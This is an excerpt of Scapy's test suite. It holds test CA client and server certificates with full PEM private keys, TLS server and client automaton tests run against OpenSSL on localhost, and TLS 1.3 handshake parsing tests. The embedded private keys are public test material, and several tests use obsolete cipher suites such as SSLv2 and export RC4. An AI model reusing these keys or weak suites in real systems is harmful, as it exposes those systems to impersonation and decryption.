YUbqLw5LaYtB0P1Fz643EX0gWJYr0IvenxPy6Hq3fIu9zQyk0Yfy69+/giEmlW9W /8UzbpvrQDEYslNrdpCfzLV7iTJU1XBhD3eQTm+9AoGAf1EX07Jk7357Y7+l/vB4 Cd0g+k4yRadDM7tCrdYnZcdwhFoKtCC9y/ChBgHRkayMizJRYC218ou9muP3qYLD Wd+Sqtxg7LlDRa+m8db0SI40a0AMb0fGKXzy4AxD1EJrBLt8rdaDrqoGF/Vwadjh sxUMjCPGDmiV+ucqbJR9/NE= -----END PRIVATE KEY----- scapy-2.4.4/test/tls/pki/cli_cert.pem000066400000000000000000000024421372370053500175020ustar00rootroot00000000000000-----BEGIN CERTIFICATE----- MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n4MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAzMDUyWhcN MjYwOTE1MTAzMDUyWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0 IENsaWVudDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMJN5ioDSgj OufUeWJI7Ali5QPySoD8neeSXkzGlm48SGDNzoKQs0v75gmlOs/mditKsPfu9HQA Ohd97oor8HQLhEMqF6OpiGyjOo7i3+/X8bPhJJsn6pYmJ5PH8HjduHuGFGt9Or2t wpQCd1t5ZN3KSZpnEk9K3HS3GJHHsO69UvuIWsksjjetAtD7HpvdeMGrMRmTEgI3 EFVUigfP1y8uaoq648TPG31MFx8cpxfKhNtstmRPZNpyl2NpzoZQFXskbMO8pVYc QxTwA6/AgDBYoaYRdV4hq5MSfcGloy5OIsR/8toamJ0EjbypulnC0+F78goP/Puw isuHi2YYJxUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O BBYEFAPVvKSOtt3Hj63JN8ZtzEGSZZ5IMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB AQAhzb8LBydZ+ulSyIiF4/PgTh7/sQOC1LroP0GhVsOLNZ07qvw8teXJO9HwsAqm 14GeLJh5XWhoL4tkq9RMcwuZL2vuVl9FB9inLerA1FU/ErJJOIIC3drIORTTQ2ot lUkbKOAQFzZfP0d+iuCFi0r0Kcu7BAZETTeG4cAoIoIIhh2AZ8DfT3E6xP7OKUMA 3m1gA4M1hwiAhFvj4iBaG20Sb0RXpDuTToHEfCEnuQdoex3F8gmn88yt22FNakqe cr9ooif+id4ErdKLozgG1i0PFYCFRj2/fUPTQw3BSgfo+XNcAjA04CowuhPAjsL8 ybC+9OE5YPSxfOqOPB4sK/w2 -----END CERTIFICATE----- scapy-2.4.4/test/tls/pki/cli_key.pem000066400000000000000000000032501372370053500173330ustar00rootroot00000000000000-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDCTeYqA0oIzrn 1HliSOwJYuUD8kqA/J3nkl5MxpZuPEhgzc6CkLNL++YJpTrP5nYrSrD37vR0ADoX fe6KK/B0C4RDKhejqYhsozqO4t/v1/Gz4SSbJ+qWJieTx/B43bh7hhRrfTq9rcKU AndbeWTdykmaZxJPStx0txiRx7DuvVL7iFrJLI43rQLQ+x6b3XjBqzEZkxICNxBV VIoHz9cvLmqKuuPEzxt9TBcfHKcXyoTbbLZkT2Tacpdjac6GUBV7JGzDvKVWHEMU 8AOvwIAwWKGmEXVeIauTEn3BpaMuTiLEf/LaGpidBI28qbpZwtPhe/IKD/z7sIrL h4tmGCcVAgMBAAECggEBAJU951ocNj0hgEDH+L55uIySLVawv8wmAhqiiSBM0e22 mVfiBIUqftjE/8kfs3pFCuWjuPlv04U0az9wsOjwKIZUDbhrbD1jTC59VSDjgKKC ZsTTonRLvhl5Rs2xsFR8rV9wQQ3jfOCKJxulK3pG0SVaVqoc9wjP6xQwy086NCzq QLnM2BESEED9cfbO7zVE7bJzLmAH9v4eF5hpuQ3SQZGE6oib0uPPnAyl5iOZZHnu 4DTxVHYIYKCegL47VpeL3h80Yzu8bAuqoSsLxbBcAoYB9e9ZMVi8o1NaVM9eT0/m HSb+rkN39YrrtXDkXxqmwsh8B7R9gRBxMFIzsI83XN0CgYEA+KSoQ3zpEjjFioB+ 006JcATCslLERgDuuaVqVlnt5a983i/3nwvICxfsGrFaQJ4TkhXEYuZro4Zovdc1 9IAj8DEQRNh7H7mZoWtQnFC32VOdAUVZVpopL6009xKs/II9pRKg4Vm6mpb47xfl Yk/upy5yV4gHThkMLccJ8PqmIosCgYEAyM6Da1vflkzoKMu7HmJNmi59hnk5N15V C8BcYNaodiHucrcyzOexaVnIQJ7+CgVen+RF9wwcIQxUsw8Vcs0AZ4ipLDOFZXNk k0oGjr5oeCIHJvA9W1BSXmcJ5Beo4ASr0GmIQpfsFohFuHXn7ezQWqA6Me8HwFGF l8goN3VyMN8CgYBJ5u7YOE0yDEuykeSgO6yf7dpMlEsgH3DVHvRPPCV4akNr6sfn ruHDYlXbzTDtGc7pUazwVFpT3UROgKPZyyhjYMHcJJfb4xdlofbwrxEl+DMnSIx4 MBPjxtCCSzu9RZy67qGAuWG8RvkwX2LfaLCfYi+8EoNRVCKJjKpIxMcSZwKBgC9E xZTJDKmxstiflI2DcGcB2JSGBpzs/LIGdvhor0EXnaytSS0IwS9ebhAgHQa42txi fMG5vQlegLWhsFfUv+qfNcts2VLXRe6R91c0pRzaTbqxxI+xKaKFOMPTefI5x0QJ A4VBg9aN/3N7dbwBCc67dtd4P+faiMsA186uO9IbAoGAVvh9bC5zoCfenexRe9si c/baEsOlPjMnM/QKz6Ue/65YTzpJYQ1hVlGqP2DsN28f5yJetHLcUINaPxlegKdL Ifhmdg5HO7v35NHVghXq+/M8xYRzKD6nqRqB8wEdGb+XOo5QHXsLp3wBQ7QXL4UI mrJFWi1wtyQOdIO4GJC8Bc0= -----END PRIVATE KEY----- scapy-2.4.4/test/tls/pki/srv_cert.pem000066400000000000000000000024421372370053500175450ustar00rootroot00000000000000-----BEGIN CERTIFICATE----- MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0 IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu 8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI 11nk6boqTrUVD5zQ6gaR2d6r -----END CERTIFICATE----- scapy-2.4.4/test/tls/pki/srv_key.pem000066400000000000000000000032501372370053500173760ustar00rootroot00000000000000-----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz +j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n +CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/ 8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg 916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q +An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/ aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52 83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk 1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth 9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU u13D93hAM6bzH6Ds5FPUQw== -----END PRIVATE KEY----- scapy-2.4.4/test/tls/tests_tls_netaccess.uts000066400000000000000000000277421372370053500212530ustar00rootroot00000000000000% TLS session establishment tests ~ crypto needs_root # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + TLS server automaton tests ~ server = Load server util functions ~ client from __future__ import print_function import sys, os, re, time, subprocess from scapy.modules.six.moves.queue import Queue import threading from ast import literal_eval import os import sys from contextlib import contextmanager from scapy.autorun import StringWriter from scapy.modules import six from scapy.config import conf from scapy.layers.tls.automaton_srv import TLSServerAutomaton conf.verb = 4 conf.debug_tls = True conf.debug_dissector = 2 load_layer("tls") @contextmanager def captured_output(): old_out, old_err = sys.stdout, sys.stderr new_out, new_err = StringWriter(debug=old_out), StringWriter(debug=old_out) try: sys.stdout, sys.stderr = new_out, new_err yield sys.stdout, sys.stderr finally: sys.stdout, sys.stderr = old_out, old_err def check_output_for_data(out, err, expected_data): errored = err.s.strip() if errored: return (False, errored) output = out.s.strip() if expected_data: expected_data = plain_str(expected_data) print("Testing for output: '%s'" % expected_data) p = re.compile(r"> Received: b?'([^']*)'") for s in p.finditer(output): if s: data = s.group(1) print("Found: %s" % data) if expected_data in data: return (True, data) return (False, output) else: return (False, None) def get_file(filename): return os.path.abspath(os.getenv("SCAPY_ROOT_DIR")+filename if not os.path.exists(filename) else filename) def run_tls_test_server(expected_data, q, curve=None, cookie=False, client_auth=False, psk=None, handle_session_ticket=False): correct = False print("Server started !") with captured_output() as (out, err): # Prepare automaton mycert = get_file("/test/tls/pki/srv_cert.pem") mykey = get_file("/test/tls/pki/srv_key.pem") print(os.environ["SCAPY_ROOT_DIR"]) print(mykey) print(mycert) assert os.path.exists(mycert) assert os.path.exists(mykey) kwargs = dict() if psk: kwargs["psk"] = psk kwargs["psk_mode"] = "psk_dhe_ke" t = TLSServerAutomaton(mycert=mycert, mykey=mykey, curve=curve, cookie=cookie, client_auth=client_auth, handle_session_ticket=handle_session_ticket, debug=5, **kwargs) # Sync threads q.put(True) # Run server automaton t.run() # Return correct answer res = check_output_for_data(out, err, expected_data) # Return data q.put(res) def run_openssl_client(msg, suite="", version="", tls13=False, client_auth=False, psk=None, sess_out=None): # Run client CA_f = get_file("/test/tls/pki/ca_cert.pem") mycert = get_file("/test/tls/pki/cli_cert.pem") mykey = get_file("/test/tls/pki/cli_key.pem") args = [ "openssl", "s_client", "-connect", "127.0.0.1:4433", "-debug", "-ciphersuites" if tls13 else "-cipher", suite, version, "-CAfile", CA_f ] if client_auth: args.extend(["-cert", mycert, "-key", mykey]) if psk: args.extend(["-psk", str(psk)]) if sess_out: args.extend(["-sess_out", sess_out]) p = subprocess.Popen( args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT ) msg += b"\nstop_server\n" out = p.communicate(input=msg)[0] print(out.decode()) if p.returncode != 0: raise RuntimeError("OpenSSL returned with error code %s" % p.returncode) else: p = re.compile(br'verify return:(\d+)') _failed = False _one_success = False for match in p.finditer(out): if match.group(1).strip() != b"1": _failed = True break else: _one_success = True break if _failed or not _one_success: raise RuntimeError("OpenSSL returned unexpected values") def test_tls_server(suite="", version="", tls13=False, client_auth=False, psk=None): msg = ("TestS_%s_data" % suite).encode() # Run server q_ = Queue() th_ = threading.Thread(target=run_tls_test_server, args=(msg, q_), kwargs={"curve": None, "cookie": False, "client_auth": client_auth, "psk": psk}) th_.setDaemon(True) th_.start() # Synchronise threads q_.get() time.sleep(1) # Run openssl client run_openssl_client(msg, suite=suite, version=version, tls13=tls13, client_auth=client_auth, psk=psk) # Wait for server th_.join(5) if th_.is_alive(): raise RuntimeError("Test timed out") # Analyse values if q_.empty(): raise RuntimeError("Missing return values") ret = q_.get(timeout=5) print(ret) assert ret[0] = Testing TLS server with TLS 1.0 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA ~ open_ssl_client test_tls_server("ECDHE-RSA-AES128-SHA", "-tls1") = Testing TLS server with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA ~ open_ssl_client test_tls_server("ECDHE-RSA-AES128-SHA", "-tls1_1") = Testing TLS server with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 ~ open_ssl_client test_tls_server("DHE-RSA-AES128-SHA256", "-tls1_2") = Testing TLS server with TLS 1.2 and TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 ~ open_ssl_client test_tls_server("ECDHE-RSA-AES256-GCM-SHA384", "-tls1_2") = Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 ~ open_ssl_client test_tls_server("TLS_AES_256_GCM_SHA384", "-tls1_3", tls13=True) = Testing TLS server with TLS 1.3 and TLS_AES_256_GCM_SHA384 and client auth ~ open_ssl_client test_tls_server("TLS_AES_256_GCM_SHA384", "-tls1_3", tls13=True, client_auth=True) = Testing TLS server with TLS 1.3 and ECDHE-PSK-AES256-CBC-SHA384 and PSK ~ open_ssl_client test_tls_server("ECDHE-PSK-AES256-CBC-SHA384", "-tls1_3", tls13=False, psk="1a2b3c4d") + TLS client automaton tests ~ client = Load client utils functions import sys, os, time, threading from scapy.layers.tls.automaton_cli import TLSClientAutomaton from scapy.layers.tls.handshake import TLSClientHello, TLS13ClientHello from scapy.modules.six.moves.queue import Queue send_data = cipher_suite_code = version = None def run_tls_test_client(send_data=None, cipher_suite_code=None, version=None, client_auth=False, key_update=False, stop_server=True, session_ticket_file_out=None, session_ticket_file_in=None): print("Loading client...") mycert = get_file("/test/tls/pki/cli_cert.pem") if client_auth else None mykey = get_file("/test/tls/pki/cli_key.pem") if client_auth else None commands = [send_data] if key_update: commands.append(b"key_update") if stop_server: commands.append(b"stop_server") if session_ticket_file_out: commands.append(b"wait") commands.append(b"quit") if version == "0002": t = TLSClientAutomaton(data=commands, version="sslv2", debug=5, mycert=mycert, mykey=mykey, session_ticket_file_in=session_ticket_file_in, session_ticket_file_out=session_ticket_file_out) elif version == "0304": ch = TLS13ClientHello(ciphers=int(cipher_suite_code, 16)) t = TLSClientAutomaton(client_hello=ch, data=commands, version="tls13", debug=5, mycert=mycert, mykey=mykey, session_ticket_file_in=session_ticket_file_in, session_ticket_file_out=session_ticket_file_out) else: ch = TLSClientHello(version=int(version, 16), ciphers=int(cipher_suite_code, 16)) t = TLSClientAutomaton(client_hello=ch, data=commands, debug=5, mycert=mycert, mykey=mykey, session_ticket_file_in=session_ticket_file_in, session_ticket_file_out=session_ticket_file_out) print("Running client...") t.run() def test_tls_client(suite, version, curve=None, cookie=False, client_auth=False, key_update=False, sess_in_out=False): msg = ("TestC_%s_data" % suite).encode() # Run server q_ = Queue() print("Starting server...") th_ = threading.Thread(target=run_tls_test_server, args=(msg, q_), kwargs={"curve": None, "cookie": False, "client_auth": client_auth, "handle_session_ticket": sess_in_out}) th_.setDaemon(True) th_.start() # Synchronise threads print("Syncrhonising...") assert q_.get(timeout=5) is True time.sleep(1) print("Thread synchronised") # Run client if sess_in_out: file_sess = get_file("/test/session") run_tls_test_client(msg, suite, version, client_auth, key_update, session_ticket_file_out=file_sess, stop_server=False) run_tls_test_client(msg, suite, version, client_auth, key_update, session_ticket_file_in=file_sess, stop_server=True) else: run_tls_test_client(msg, suite, version, client_auth, key_update) # Wait for server print("Client running, waiting...") th_.join(5) if th_.is_alive(): raise RuntimeError("Test timed out") # Return values if q_.empty(): raise RuntimeError("Missing return value") ret = q_.get(timeout=5) print(ret) assert ret[0] = Testing TLS server and client with SSLv2 and SSL_CK_DES_192_EDE3_CBC_WITH_MD5 test_tls_client("0700c0", "0002") = Testing TLS client with SSLv3 and TLS_RSA_EXPORT_WITH_RC4_40_MD5 test_tls_client("0003", "0300") = Testing TLS client with TLS 1.0 and TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA test_tls_client("0088", "0301") = Testing TLS client with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA test_tls_client("c013", "0302") = Testing TLS client with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 test_tls_client("009e", "0303") = Testing TLS client with TLS 1.2 and TLS_ECDH_anon_WITH_RC4_128_SHA test_tls_client("c016", "0303") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_GCM_SHA256 test_tls_client("1301", "0304") = Testing TLS server and client with TLS 1.3 and TLS_CHACHA20_POLY1305_SHA256 ~ crypto_advanced test_tls_client("1303", "0304") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 ~ crypto_advanced test_tls_client("1305", "0304") = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and x448 ~ crypto_advanced test_tls_client("1305", "0304", curve="x448") = Testing TLS server and client with TLS 1.3 and a retry ~ crypto_advanced test_tls_client("1302", "0304", curve="secp256r1", cookie=True) = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and client auth ~ crypto_advanced test_tls_client("1305", "0304", client_auth=True) = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and key update ~ crypto_advanced test_tls_client("1305", "0304", key_update=True) = Testing TLS server and client with TLS 1.3 and TLS_AES_128_CCM_8_SHA256 and session resumption ~ crypto_advanced test_tls_client("1305", "0304", client_auth=True, sess_in_out=True) # Automaton as Socket tests + TLSAutomatonClient socket tests ~ netaccess = Connect to google.com load_layer("tls") load_layer("http") def _test_connection(): a = TLSClientAutomaton.tlslink(HTTP, server="www.google.com", dport=443, server_name="www.google.com") pkt = a.sr1(HTTP()/HTTPRequest(Host="www.google.com"), session=TCPSession(app=True), timeout=2, retry=3) assert HTTPResponse in pkt assert b"" in pkt[HTTPResponse].load retry_test(_test_connection) scapy-2.4.4/test/tls13.uts000066400000000000000000001400101372370053500153230ustar00rootroot00000000000000% Tests for TLS 1.3 # # Try me with : # bash test/run_tests -t test/tls13.uts -F + Read a protected TLS 1.3 session # /!\ These tests will not catch our 'INTEGRITY CHECK FAILED's. /!\ # We deem the knowledge of the plaintext sufficient for passing... #~ crypto = Reading test session - Loading unparsed TLS 1.3 records import binascii def clean(s): return binascii.unhexlify(''.join(c for c in s if c.isalnum())) clientHello = clean(""" 16 03 01 00 c4 01 00 00 c0 03 03 cb 34 ec b1 e7 81 63 ba 1c 38 c6 da cb 19 6a 6d ff a2 1a 8d 99 12 ec 18 a2 ef 62 83 02 4d ec e7 00 00 06 13 01 13 03 13 02 01 00 00 91 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01 00 00 0a 00 14 00 12 00 1d 00 17 00 18 00 19 01 00 01 01 01 02 01 03 01 04 00 23 00 00 00 33 00 26 00 24 00 1d 00 20 99 38 1d e5 60 e4 bd 43 d2 3d 8e 43 5a 7d ba fe b3 c0 6e 51 c1 3c ae 4d 54 13 69 1e 52 9a af 2c 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2d 00 02 01 01 00 1c 00 02 40 01 """) serverHello = clean(""" 16 03 03 00 5a 02 00 00 56 03 03 a6 af 06 a4 12 18 60 dc 5e 6e 60 24 9c d3 4c 95 93 0c 8a c5 cb 14 34 da c1 55 77 2e d3 e2 69 28 00 13 01 00 00 2e 00 33 00 24 00 1d 00 20 c9 82 88 76 11 20 95 fe 66 76 2b db f7 c6 72 e1 56 d6 cc 25 3b 83 3d f1 dd 69 b1 b0 4e 75 1f 0f 00 2b 00 02 03 04 """) serverEncHS = clean(""" 17 03 03 02 a2 d1 ff 33 4a 56 f5 bf f6 59 4a 07 cc 87 b5 80 23 3f 50 0f 45 e4 89 e7 f3 3a f3 5e df 78 69 fc f4 0a a4 0a a2 b8 ea 73 f8 48 a7 ca 07 61 2e f9 f9 45 cb 96 0b 40 68 90 51 23 ea 78 b1 11 b4 29 ba 91 91 cd 05 d2 a3 89 28 0f 52 61 34 aa dc 7f c7 8c 4b 72 9d f8 28 b5 ec f7 b1 3b d9 ae fb 0e 57 f2 71 58 5b 8e a9 bb 35 5c 7c 79 02 07 16 cf b9 b1 18 3e f3 ab 20 e3 7d 57 a6 b9 d7 47 76 09 ae e6 e1 22 a4 cf 51 42 73 25 25 0c 7d 0e 50 92 89 44 4c 9b 3a 64 8f 1d 71 03 5d 2e d6 5b 0e 3c dd 0c ba e8 bf 2d 0b 22 78 12 cb b3 60 98 72 55 cc 74 41 10 c4 53 ba a4 fc d6 10 92 8d 80 98 10 e4 b7 ed 1a 8f d9 91 f0 6a a6 24 82 04 79 7e 36 a6 a7 3b 70 a2 55 9c 09 ea d6 86 94 5b a2 46 ab 66 e5 ed d8 04 4b 4c 6d e3 fc f2 a8 94 41 ac 66 27 2f d8 fb 33 0e f8 19 05 79 b3 68 45 96 c9 60 bd 59 6e ea 52 0a 56 a8 d6 50 f5 63 aa d2 74 09 96 0d ca 63 d3 e6 88 61 1e a5 e2 2f 44 15 cf 95 38 d5 1a 20 0c 27 03 42 72 96 8a 26 4e d6 54 0c 84 83 8d 89 f7 2c 24 46 1a ad 6d 26 f5 9e ca ba 9a cb bb 31 7b 66 d9 02 f4 f2 92 a3 6a c1 b6 39 c6 37 ce 34 31 17 b6 59 62 22 45 31 7b 49 ee da 0c 62 58 f1 00 d7 d9 61 ff b1 38 64 7e 92 ea 33 0f ae ea 6d fa 31 c7 a8 4d c3 bd 7e 1b 7a 6c 71 78 af 36 87 90 18 e3 f2 52 10 7f 24 3d 24 3d c7 33 9d 56 84 c8 b0 37 8b f3 02 44 da 8c 87 c8 43 f5 e5 6e b4 c5 e8 28 0a 2b 48 05 2c f9 3b 16 49 9a 66 db 7c ca 71 e4 59 94 26 f7 d4 61 e6 6f 99 88 2b d8 9f c5 08 00 be cc a6 2d 6c 74 11 6d bd 29 72 fd a1 fa 80 f8 5d f8 81 ed be 5a 37 66 89 36 b3 35 58 3b 59 91 86 dc 5c 69 18 a3 96 fa 48 a1 81 d6 b6 fa 4f 9d 62 d5 13 af bb 99 2f 2b 99 2f 67 f8 af e6 7f 76 91 3f a3 88 cb 56 30 c8 ca 01 e0 c6 5d 11 c6 6a 1e 2a c4 c8 59 77 b7 c7 a6 99 9b bf 10 dc 35 ae 69 f5 51 56 14 63 6c 0b 9b 68 c1 9e d2 e3 1c 0b 3b 66 76 30 38 eb ba 42 f3 b3 8e dc 03 99 f3 a9 f2 3f aa 63 97 8c 31 7f c9 fa 66 a7 3f 60 f0 50 4d e9 3b 5b 84 5e 27 55 92 c1 23 35 ee 34 0b bc 4f dd d5 02 78 40 16 e4 b3 be 7e f0 4d da 49 f4 b4 40 a3 0c b5 d2 af 93 98 28 fd 4a e3 79 4e 44 f9 4d f5 a6 31 ed e4 2c 17 19 bf da bf 02 53 fe 51 75 be 89 8e 75 0e dc 53 37 0d 2b """) clientEncHS = clean(""" 17 03 03 00 35 75 ec 4d c2 38 cc e6 0b 29 80 44 a7 1e 21 9c 56 cc 77 b0 51 7f e9 b9 3c 7a 4b fc 44 d8 7f 38 f8 03 38 ac 98 fc 46 de b3 84 bd 1c ae ac ab 68 67 d7 26 c4 05 46 """) = Reading TLS 1.3 session - TLS parsing (no encryption) does not throw any error # We will need to distinguish between connection ends. See next XXX below. from scapy.layers.tls.record import TLS t1 = TLS(clientHello) t2 = TLS(serverHello, tls_session=t1.tls_session.mirror()) = Reading TLS 1.3 session - TLS Record header # We leave the possibility for some attributes to be either '' or None. assert(t1.type == 0x16) assert(t1.version == 0x0301) assert(t1.len == 196) assert(not t1.iv) assert(not t1.mac) assert(not t1.pad and not t1.padlen) len(t1.msg) == 1 = Reading TLS 1.3 session - TLS Record __getitem__ from scapy.layers.tls.handshake import TLSClientHello TLSClientHello in t1 = Reading TLS 1.3 session - ClientHello ch = t1.msg[0] assert(isinstance(ch, TLSClientHello)) assert(ch.msgtype == 1) assert(ch.msglen == 192) assert(ch.version == 0x0303) assert(ch.gmt_unix_time == 0xcb34ecb1) assert(ch.random_bytes == b'\xe7\x81c\xba\x1c8\xc6\xda\xcb\x19jm\xff\xa2\x1a\x8d\x99\x12\xec\x18\xa2\xefb\x83\x02M\xec\xe7') assert(ch.sidlen == 0) assert(not ch.sid) assert(ch.cipherslen == 6) assert(ch.ciphers == [4865, 4867, 4866]) assert(ch.complen == 1) assert(ch.comp == [0]) = Reading TLS 1.3 session - ClientHello extensions from scapy.layers.tls.extensions import (TLS_Ext_ServerName, TLS_Ext_RenegotiationInfo, TLS_Ext_SupportedGroups, TLS_Ext_SessionTicket, TLS_Ext_SupportedVersion_CH, TLS_Ext_SignatureAlgorithms, TLS_Ext_PSKKeyExchangeModes, TLS_Ext_RecordSizeLimit) from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH assert(ch.extlen == 145) ext = ch.ext assert(len(ext) == 9) assert(isinstance(ext[0], TLS_Ext_ServerName)) assert(ext[0].type == 0) assert(ext[0].len == 11) assert(ext[0].servernameslen == 9) assert(len(ext[0].servernames) == 1) assert(ext[0].servernames[0].nametype == 0) assert(ext[0].servernames[0].namelen == 6) assert(ext[0].servernames[0].servername == b"server") assert(isinstance(ext[1], TLS_Ext_RenegotiationInfo)) assert(not ext[1].renegotiated_connection) assert(isinstance(ext[2], TLS_Ext_SupportedGroups)) assert(ext[2].groups == [29, 23, 24, 25, 256, 257, 258, 259, 260]) assert(isinstance(ext[3], TLS_Ext_SessionTicket)) assert(not ext[3].ticket) assert(isinstance(ext[4], TLS_Ext_KeyShare_CH)) assert(ext[4].client_shares_len == 36) assert(len(ext[4].client_shares) == 1) assert(ext[4].client_shares[0].group == 29) 